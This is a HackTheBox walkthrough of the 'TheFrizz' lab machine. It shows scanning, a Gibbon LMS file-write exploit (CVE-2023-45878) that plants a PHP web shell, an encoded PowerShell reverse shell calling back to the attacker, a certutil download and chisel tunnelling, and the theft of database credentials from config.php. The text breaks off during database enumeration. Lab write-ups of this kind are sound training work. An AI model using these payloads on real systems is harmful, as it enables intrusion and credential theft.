HTB – TheFrizz

In this walkthrough, I detailed how I achieved full compromise of TheFrizz on HackTheBox

by Croclius | Aug 1, 2025 | 0 comments

https://www.hackthebox.com/machines/TheFrizz


Reconnaissance

nmap/TCP

nmap detected a bunch of open ports which is typical for a Domain Controller:

croc@hacker$ rustscan -a 10.10.11.60 --ulimit 5000 -- -A -T5 -oA Initial  
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.60:22
Open 10.10.11.60:53
Open 10.10.11.60:80
Open 10.10.11.60:88
Open 10.10.11.60:135
Open 10.10.11.60:139
Open 10.10.11.60:389
Open 10.10.11.60:445
Open 10.10.11.60:464
Open 10.10.11.60:593
Open 10.10.11.60:636
Open 10.10.11.60:3268
Open 10.10.11.60:3269
Open 10.10.11.60:49668
Open 10.10.11.60:49670
Open 10.10.11.60:49664
Open 10.10.11.60:56803
Open 10.10.11.60:56807
Open 10.10.11.60:56817
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -oA Initial -vvv -p 22,53,80,88,135,139,389,445,464,593,636,3268,3269,49668,49670,49664,56803,56807,56817 10.10.11.60

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 05:58 EDT
Nmap scan report for 10.10.11.60
Host is up, received echo-reply ttl 127 (0.25s latency).
Scanned at 2025-03-21 05:59:14 EDT for 123s

PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Education  Walkerville Elementary School
|_Requested resource was http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-21 16:59:26Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
56803/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
56807/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
56817/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Timing level 5 (Insane) used
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).

Uptime guess: 0.038 days (since Fri Mar 21 05:07:11 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 21203/tcp): CLEAN (Failed to receive data)
|   Check 2 (port 49016/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 49509/udp): CLEAN (Timeout)
|   Check 4 (port 31256/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   238.21 ms 10.10.14.1
2   238.47 ms 10.10.11.60

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.54 seconds
           Raw packets sent: 107 (8.392KB) | Rcvd: 53 (3.060KB)

The hostname of the box is FRIZZDC so I added FRIZZDC.frizz.htb and frizz.htb into the hosts file.

croc@hacker$ sudo sed -i '$a10.10.11.60tFRIZZDC.frizz.htb frizz.htb' etc/hosts

LDAP - 389/TCP

Anonymous LDAP lookup failed, need a valid credential.

croc@hacker$ ldapsearch -x -H ldap://frizzdc.frizz.htb -D '' -w '' -b 'DC=frizz,DC=htb'
# extended LDIF
#
# LDAPv3
# base <DC=frizz,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CB6, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4f7c

# numResponses: 1

SMB - 445/TCP

No luck with null authentication. A STATUS_NOT_SUPPORTED error appears indicating that the type of authentication mechanism being used is not supported.

croc@hacker$ nxc smb frizzdc.frizz.htb -u '' -p '' --shares
SMB         10.10.11.60     445    10.10.11.60      [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB         10.10.11.60     445    10.10.11.60      [-] 10.10.11.60: STATUS_NOT_SUPPORTED 
SMB         10.10.11.60     445    10.10.11.60      [-] IndexError: list index out of range
SMB         10.10.11.60     445    10.10.11.60      [-] Error enumerating shares: Error occurs while reading from remote(104)
                                                                                                      
croc@hacker$ nxc smb frizzdc.frizz.htb -u 'guest' -p '' --shares
SMB         10.10.11.60     445    10.10.11.60      [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB         10.10.11.60     445    10.10.11.60      [-] 10.10.11.60guest: STATUS_NOT_SUPPORTED
Think Box
From here, my next go-to is HTTP(80) where an Apache Web Server is running. I will start by checking out the functionality of the site and try to understand the business logic.

HTTP - 80/TCP

Main Page

The IP address of the box, 10.10.11.60 redirected to frizzdc.frizz.htb/home. This looks like a school website for the Walkerville Elementary School.

image 14

The following looks like base64 encoded text which may be interesting.

image 19

ChatGPT decoded it for me and it says:

Staff Login - Gibbon LMS

On the Staff Login Page, I found out that the Gibbon LMS v25.0.00 is in use which is an open-source learning management system designed for educational institutions.

image 15

Read the Notice carefully:

Think Box
First, we have a name that might help us guess a username. Second, I suspect NTLM authentication is disabled on this machine. Third, knowing the exact Gibbon version allows us to search for relevant CVEs.

Forgot Password

On the Forgot Password page, we have username validation. Following is a failed attempt where the email address tried doesn't exist.

image 16

On the other hand, trying out a bunch of different combinations for Ms. Fiona Frizzle i.e. Firstinitial Lastname or firstname.lastname, I found a valid username of f.frizzle@frizz.htb:

image 17

I indeed verified that using kerbrute as well:

croc@hacker$ echo "f.frizzle" > kerb

croc@hacker$ kerbrute userenum -d frizz.htb --dc 10.10.11.60 -o kerbrute.log ./kerb    

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ / ___/ __ / ___/ / / / __/ _ 
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|___/_/  /_.___/_/   __,_/__/___/                                        

Version: v1.0.3 (9dad6e1) - 03/22/25 - Ronnie Flathers @ropnop

2025/03/22 13:43:16 >  Using KDC(s):
2025/03/22 13:43:16 >  	10.10.11.60:88

2025/03/22 13:43:16 >  [+] VALID USERNAME:	 f.frizzle@frizz.htb
2025/03/22 13:43:16 >  Done! Tested 1 usernames (1 valid) in 0.417 seconds
Think Box
Keep that intel in your back pocket for now.... At this point, I have tested all the clickable areas of the website and understood the underlying functionality. Thus, we're done with the Happy Path Testing & it's time to move on to Unhappy Path Testing.

CVEs Enumeration - Gibbon v25.0.0

Initially, I looked for exploits for Gibbon v25.0.0 & found a LFI exploit but that turned out to be a rabbit hole as I didn't find anything useful in gibbon.sql file with that.

After that, I decided to look for vulnerabilities in higher versions and found two of them:

NVD - CVE-2023-45878
faviconnvd.nist.gov

spider orange
Gibbon LMS < v26.0.00 - Authenticated RCE - PHP webapps Exploit
Gibbon LMS < v26.0.00 - Authenticated RCE.. webapps exploit for PHP platform
faviconwww.exploit-db.com

The latter one is an authenticated RCE. Since we don't have valid credentials yet, let's set it aside for now and focus on the other exploit.

Gibbon v25.0.1 - Arbitrary File Write(CVE-2023-45878)

This allows unauthenticated users to upload arbitrary files and eventually gain remote code execution on the underlying system.

news security advisory
usd-2023-0025 - usd HeroLab
Advisory ID: usd-2023-0025 (CVE-2023-45878) | Product: Gibbon Edu | Vulnerability Type: Arbitrary File Write (CWE-434)
herolab.usd.de

Using this PoC, I uploaded the payload <?php echo system($_GET['cmd'])?> to the file croc.php on the server. Below is the POST request and the response:

REQUEST:

Note that the base installation directory of Gibbon in our scenario is Gibbon-LMS as seen in the URL here.

Think Box
1. Content-Type: application/x-www-form-urlencoded was added in the request headers to instruct the proper parsing of data at the backend.

RESPONSE:

The payload file has been successfully uploaded to the server.

image 20

And, just like that, we have Remote Code Execution(RCE) here:

image 21

Shell as w.webservice

Payload Generation

I used revshells.com in order to generate the following base64 encoded powershell reverse shell payload.

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAzADkAIgAsADgAOAA4ADgAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Reverse Shell

I sent the powershell payload as a parameter which upon execution will return us a reverse shell.

image 23

And, here is our shell:

croc@hacker$ nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.10.14.104] from (UNKNOWN) [10.10.11.60] 55731

PS C:\xampp\htdocs\Gibbon-LMS>

Further Enumeration

System Information

PS C:xampphtdocsGibbon-LMS> systeminfo

Host Name:                 FRIZZDC
OS Name:                   Microsoft Windows Server 2022 Datacenter
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00454-70295-72962-AA557
Original Install Date:     10/29/2024, 9:13:01 AM
System Boot Time:          4/25/2025, 10:01:14 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:Windows
System Directory:          C:Windowssystem32
Boot Device:               DeviceHarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,587 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 2,529 MB
Virtual Memory: In Use:    1,566 MB
Page File Location(s):     N/A
Domain:                    frizz.htb
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.11.60
                                 [02]: fe80::ea33:d9de:c23b:2a80
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Domain Users

PS C:xampphtdocsGibbon-LMS> Get-ADUser -Filter * -Properties DisplayName | Select-Object SamAccountName

SamAccountName
--------------
Administrator 
Guest         
krbtgt        
f.frizzle     
w.li          
h.arm         
M.SchoolBus   
d.hudson      
k.franklin    
l.awesome     
t.wright      
r.tennelli    
J.perlstein   
a.perlstein   
p.terese      
v.frizzle     
g.frizzle     
c.sandiego    
c.ramon       
m.ramon       
w.Webservice 

Domain Groups

PS C:xampphtdocsGibbon-LMS> Get-ADGroup -Filter * | % { $g=$_.Name; $m=Get-ADGroupMember $_ -EA 0; if ($m) { "`n$g`n" + ('-'*$g.Length); $m | % Name } }

Administrators
--------------
v.frizzle
Domain Admins
Enterprise Admins
Administrator

Users
-----
Domain Users
Authenticated Users
INTERACTIVE

Guests
------
Domain Guests
Guest

IIS_IUSRS
---------
IUSR

Remote Management Users
-----------------------
M.SchoolBus
f.frizzle

Domain Controllers
------------------
FRIZZDC

Schema Admins
-------------
Administrator

Enterprise Admins
-----------------
Administrator

Domain Admins
-------------
Administrator
v.frizzle

Domain Users
------------
Administrator
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice

Domain Guests
-------------
Guest

Group Policy Creator Owners
---------------------------
Administrator
Desktop Admins

Pre-Windows 2000 Compatible Access
----------------------------------
Authenticated Users

Windows Authorization Access Group
----------------------------------
ENTERPRISE DOMAIN CONTROLLERS

Denied RODC Password Replication Group
--------------------------------------
Read-only Domain Controllers
Group Policy Creator Owners
Domain Admins
Cert Publishers
Enterprise Admins
Schema Admins
Domain Controllers
krbtgt

Desktop Admins
--------------
M.SchoolBus

Interesting Files

A configuration file named config.php was spotted under the base installation directory of gibbon:

PS C:xampphtdocsGibbon-LMS> dir


    Directory: C:xampphtdocsGibbon-LMS


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         1/20/2023   6:04 AM                i18n                                                                 
d-----         1/20/2023   6:04 AM                installer                                                            
d-----         1/20/2023   6:04 AM                lib                                                                  
d-----         1/20/2023   6:04 AM                modules                                                              
d-----         1/20/2023   6:04 AM                resources                                                            
d-----         1/20/2023   6:04 AM                src                                                                  
d-----         1/20/2023   6:04 AM                themes                                                               
d-----         3/22/2025   6:46 PM                uploads                                                              
d-----         1/20/2023   6:04 AM                vendor                                                               
-a----         1/20/2023   6:04 AM            634 .htaccess                                                            
-a----         1/20/2023   6:04 AM         197078 CHANGEDB.php                                                         
-a----         1/20/2023   6:04 AM         103023 CHANGELOG.txt                                                        
-a----         1/20/2023   6:04 AM           2972 composer.json                                                        
-a----         1/20/2023   6:04 AM         294353 composer.lock                                                        
-a----        10/11/2024   8:15 PM           1307 config.php                                                           
-a----         1/20/2023   6:04 AM           3733 error.php                                                            
-a----         1/20/2023   6:04 AM           1608 export.php                                                           
-a----         1/20/2023   6:04 AM          32988 favicon.ico                                                          
-a----         1/20/2023   6:04 AM           2277 fullscreen.php                                                       
-a----         1/20/2023   6:04 AM          57535 functions.php                                                        
-a----         1/20/2023   6:04 AM           5610 gibbon.php                                                           
-a----        10/29/2024   7:27 AM         493211 gibbon.sql                                                           
-a----         1/20/2023   6:04 AM        1254473 gibbon_demo.sql                                                      
-a----         1/20/2023   6:04 AM          31228 index.php                                                            
-a----         1/20/2023   6:04 AM           2356 indexExport.php                                                      
-a----         1/20/2023   6:04 AM            813 indexFindRedirect.php                                                
-a----         1/20/2023   6:04 AM          12327 index_fastFinder_ajax.php                                            
-a----         1/20/2023   6:04 AM           2579 index_notification_ajax.php                                          
-a----         1/20/2023   6:04 AM           2767 index_notification_ajax_alarm.php                                    
-a----         1/20/2023   6:04 AM           1690 index_notification_ajax_alarmConfirmProcess.php                      
-a----         1/20/2023   6:04 AM           1647 index_notification_ajax_alarmProcess.php                             
-a----         1/20/2023   6:04 AM           1245 index_notification_ajax_alarm_tickUpdate.php                         
-a----         1/20/2023   6:04 AM           2142 index_parentPhotoDeleteProcess.php                                   
-a----         1/20/2023   6:04 AM           3549 index_parentPhotoUploadProcess.php                                   
-a----         1/20/2023   6:04 AM           2046 index_tt_ajax.php                                                    
-a----         1/20/2023   6:04 AM            753 keepAlive.php                                                        
-a----         1/20/2023   6:04 AM          35113 LICENSE                                                              
-a----         1/20/2023   6:04 AM           7589 login.php                                                            
-a----         1/20/2023   6:04 AM           1263 logout.php                                                           
-a----         1/20/2023   6:04 AM           3905 notifications.php                                                    
-a----         1/20/2023   6:04 AM           2110 notificationsActionProcess.php                                       

This file revealed a set of database credential - MrGibbonsDB / MisterGibbs!Parrot!?1.

PS C:xampphtdocsGibbon-LMS> Get-Content config.php
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

/**
 * Sets the database connection information.
 * You can supply an optional $databasePort if your server requires one.
 */
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

/**
 * Sets a globally unique id, to allow multiple installs on a single server.
 */
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';

/**
 * Sets system-wide caching factor, used to balance performance and freshness.
 * Value represents number of page loads between cache refresh.
 * Must be positive integer. 1 means no caching.
 */
$caching = 10;

Gibbon LMS uses mysql as its database backend according to its documentation:

System Requirements | Gibbon Documentation
The Free, Flexible, Open Source School Software
favicondocs.gibbonedu.org
Think Box
As we know that Gibbon utilizes mysql as its backend database, it's worth checking whether mysql is running as a service here or not.

Non-default Running Services

The following command shows all the running services other than the default ones. As per our expectation, mysql is running as a service here:

PS C:xampphtdocsGibbon-LMS> Get-CimInstance -ClassName Win32_Service | Where-Object { $_.State -eq 'Running' -and $_.PathName -notlike 'C:WindowsSystem32*' } | Select-Object Name, StartName, PathName | Sort-Object Name | Format-List


Name      : ADWS
StartName : LocalSystem
PathName  : C:WindowsADWSMicrosoft.ActiveDirectory.WebServices.exe

Name      : Apache2.4
StartName : w.webservice@frizz.htb
PathName  : "C:xamppapachebinhttpd.exe" -k runservice

Name      : LSM
StartName : 
PathName  : 

Name      : mysql
StartName : w.webservice@frizz.htb
PathName  : C:xamppmysqlbinmysqld --defaults-file=C:xamppmysqlbinmy.ini mysql

Name      : VGAuthService
StartName : LocalSystem
PathName  : "C:Program FilesVMwareVMware ToolsVMware VGAuthVGAuthService.exe"

Name      : VMTools
StartName : LocalSystem
PathName  : "C:Program FilesVMwareVMware Toolsvmtoolsd.exe"

According to the mysql configuration file in-use here, it is utilizing the default port of 3306/tcp:

PS C:xampphtdocsGibbon-LMS> Get-Content C:xamppmysqlbinmy.ini
# Example MySQL config file for small systems.
#
# This is for a system with little memory (<= 64M) where MySQL is only used
# from time to time and it's important that the mysqld daemon
# doesn't use much resources.
#
# You can copy this file to
# C:/xampp/mysql/bin/my.cnf to set global options,
# mysql-data-dir/my.cnf to set server-specific options (in this
# installation this directory is C:/xampp/mysql/data) or
# ~/.my.cnf to set user-specific options.
#
# In this file, you can use all long options that a program supports.
# If you want to know which options a program supports, run the program
# with the "--help" option.

# The following options will be passed to all MySQL clients
[client]
# password       = your_password 
port=3306
socket="C:/xampp/mysql/mysql.sock"
....

We can indeed verify that mysql is actively listening for incoming connections on 3306:

PS C:xampphtdocsGibbon-LMS> netstat -ano | findstr 3306
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       2528
  TCP    [::]:3306              [::]:0                 LISTENING       2528
  UDP    0.0.0.0:63306          *:*                                    1152
Think Box
Now, in order to access this port from our attack box, we need to do some port forwarding.

Port Forwarding - Chisel

You might be asking, Why Chisel?? Chisel is the most viable option in this scenario as it can operate without SSH access to the target.

Transfer to the Target

You can download the Windows version of chisel using the following commands:

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz
gzip -d chisel_1.10.1_windows_amd64.gz 

After that, transfer it to the target using certutil.exe:

PS C:xampphtdocsGibbon-LMS> certutil.exe -f -urlcache -split http://10.10.14.239/chisel_1.10.1_windows_amd64 chisel_1.10.1_windows_amd64.exe
****  Online  ****
  000000  ...
  94f000
CertUtil: -URLCache command completed successfully.

Start the Server

Our aim is to do a remote port forwarding setup. Hence, we should run the chisel server on our attack box:

croc@hacker$ chisel server --socks5 --reverse -p 9090
2025/04/23 05:47:27 server: Reverse tunnelling enabled
2025/04/23 05:47:27 server: Fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8=
2025/04/23 05:47:27 server: Listening on http://0.0.0.0:9090

Connect Back..

We are going to connect back to our chisel server as a client and forward the port 3306/tcp on the target to 33061/tcp on our attack box.

PS C:xampphtdocsGibbon-LMS> ./chisel_1.10.1_windows_amd64.exe client --fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8= 10.10.14.239:9090 R:33061:127.0.0.1:3306

Our tunnel has been established as seen below:

Untitled

We can indeed verify it as well as we have an active connection:

croc@hacker$ ss -tulpn | grep 33061
tcp   LISTEN 0      4096                                  *:33061            *:*    users:(("chisel",pid=52843,fd=7))

Connect using mysql

Now, we can connect to the database using the credentials we already have:

croc@hacker$ mysql -h 127.0.0.1 -P 33061 -u MrGibbonsDB -p'MisterGibbs!Parrot!?1' --skip-ssl
Welcome to the MariaDB monitor.  Commands end with ; or g.
Your MariaDB connection id is 1219
Server version: 10.4.32-MariaDB mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.

MariaDB [(none)]>

--skip-ssl is used to bypass encryption checks which were causing an error.

Shell as f.frizzle

Database Enumeration

I went off by listing the databases and selected the gibbon database.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| gibbon             |
| information_schema |
| test               |
+--------------------+
3 rows in set (0.347 sec)

MariaDB [(none)]> use gibbon;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

After that, upon listing the tables, I was bombarded with 191 entries. That's exhausting, right? So, what I did instead is modify my SQL query to only return tables that have rows greater than 0. It's much better now!

MariaDB [gibbon]> select table_name, table_rows from information_schema.tables where table_schema = 'gibbon' AND table_rows > 0;
+-------------------------------+------------+
| table_name                    | table_rows |
+-------------------------------+------------+
| gibbonaction                  |        357 |
| gibbonactivity                |         99 |
| gibbonactivityslot            |         95 |
| gibbonactivitystaff           |        244 |
| gibbonalertlevel              |          3 |
| gibbonattendancecode          |          6 |
| gibboncountry                 |        240 |
| gibboncourse                  |        126 |
| gibboncourseclass             |        242 |
| gibboncourseclassperson       |       3764 |
| gibbondaysofweek              |          7 |
| gibbondepartment              |         13 |
| gibbondepartmentstaff         |        167 |
| gibbonemailtemplate           |         14 |
| gibbonexternalassessment      |          3 |
| gibbonexternalassessmentfield |        128 |
| gibbonfamily                  |        738 |
| gibbonfamilyadult             |       1448 |
| gibbonfamilychild             |        910 |
| gibbonfileextension           |         45 |
| gibbonfinancefeecategory      |          5 |
| gibbonformfield               |        104 |
| gibbonformgroup               |         19 |
| gibbonformpage                |          5 |
| gibbonhouse                   |          3 |
| gibboni18n                    |         46 |
| gibbonindescriptor            |          3 |
| gibbonlanguage                |         83 |
| gibbonlibraryitem             |         11 |
| gibbonlibrarytype             |          8 |
| gibbonlog                     |         17 |
| gibbonmedicalcondition        |         27 |
| gibbonmessenger               |         14 |
| gibbonmessengertarget         |         42 |
| gibbonmodule                  |         25 |
| gibbonnotificationevent       |         35 |
| gibbonoutcome                 |          9 |
| gibbonpermission              |        482 |
| gibbonperson                  |          1 |
| gibbonpersonaldocumenttype    |          5 |
| gibbonplannerentry            |          5 |
| gibbonreportingcriteriatype   |          2 |
| gibbonresource                |          6 |
| gibbonresourcetag             |         35 |
| gibbonrole                    |          5 |
| gibbonrubriccell              |         54 |
| gibbonrubriccolumn            |          6 |
| gibbonrubricrow               |          9 |
| gibbonscale                   |         14 |
| gibbonscalegrade              |        329 |
| gibbonschoolyear              |          2 |
| gibbonschoolyearterm          |          6 |
| gibbonsession                 |         18 |
| gibbonsetting                 |        313 |
| gibbonspace                   |         60 |
| gibbonstaff                   |        166 |
| gibbonstaffabsencetype        |          4 |
| gibbonstudentenrolment        |        391 |
| gibbonstudentnotecategory     |          4 |
| gibbonttcolumn                |          5 |
+-------------------------------+------------+
60 rows in set (0.306 sec)

Looking up on Google for tables where the personal information of users might be stored, I found this forum where they state gibbonPerson table to be the one.

e81d7b86432f62c84f00ebe6f812d9d61a2482fc
Some data is missing - Security - Gibbon Support Forum
OK, the title is a bit scary for you gibbon developers, I know but… I want to assure my school team leaders and managers that this system is safe and secure. So, I would like to point them to all the locations of the d…
ask.gibbonedu.org

Let's see the structure of the gibbonPerson table:

MariaDB [gibbon]> DESC gibbonPerson;
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
| Field                     | Type                                                  | Null | Key | Default     | Extra          |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
| gibbonPersonID            | int(10) unsigned zerofill                             | NO   | PRI | NULL        | auto_increment |
| title                     | varchar(5)                                            | NO   |     | NULL        |                |
| surname                   | varchar(60)                                           | NO   |     |             |                |
| firstName                 | varchar(60)                                           | NO   |     |             |                |
| preferredName             | varchar(60)                                           | NO   |     |             |                |
| officialName              | varchar(150)                                          | NO   |     | NULL        |                |
| nameInCharacters          | varchar(60)                                           | NO   |     | NULL        |                |
| gender                    | enum('M','F','Other','Unspecified')                   | NO   |     | Unspecified |                |
| username                  | varchar(20)                                           | NO   | UNI | NULL        |                |
| passwordStrong            | varchar(255)                                          | NO   |     | NULL        |                |
| passwordStrongSalt        | varchar(255)                                          | NO   |     | NULL        |                |
| passwordForceReset        | enum('N','Y')                                         | NO   |     | N           |                |
| status                    | enum('Full','Expected','Left','Pending Approval')     | NO   |     | Full        |                |
| canLogin                  | enum('Y','N')                                         | NO   |     | Y           |                |
| gibbonRoleIDPrimary       | int(3) unsigned zerofill                              | NO   |     | NULL        |                |
| gibbonRoleIDAll           | varchar(255)                                          | NO   |     | NULL        |                |
| dob                       | date                                                  | YES  |     | NULL        |                |
| email                     | varchar(75)                                           | YES  |     | NULL        |                |
| emailAlternate            | varchar(75)                                           | YES  |     | NULL        |                |
| image_240                 | varchar(255)                                          | YES  |     | NULL        |                |
| lastIPAddress             | varchar(15)                                           | NO   |     |             |                |
| lastTimestamp             | timestamp                                             | YES  |     | NULL        |                |
| lastFailIPAddress         | varchar(15)                                           | YES  |     | NULL        |                |
| lastFailTimestamp         | timestamp                                             | YES  |     | NULL        |                |
| failCount                 | int(1)                                                | YES  |     | 0           |                |
| address1                  | mediumtext                                            | NO   |     | NULL        |                |
| address1District          | varchar(255)                                          | NO   |     | NULL        |                |
| address1Country           | varchar(255)                                          | NO   |     | NULL        |                |
| address2                  | mediumtext                                            | NO   |     | NULL        |                |
| address2District          | varchar(255)                                          | NO   |     | NULL        |                |
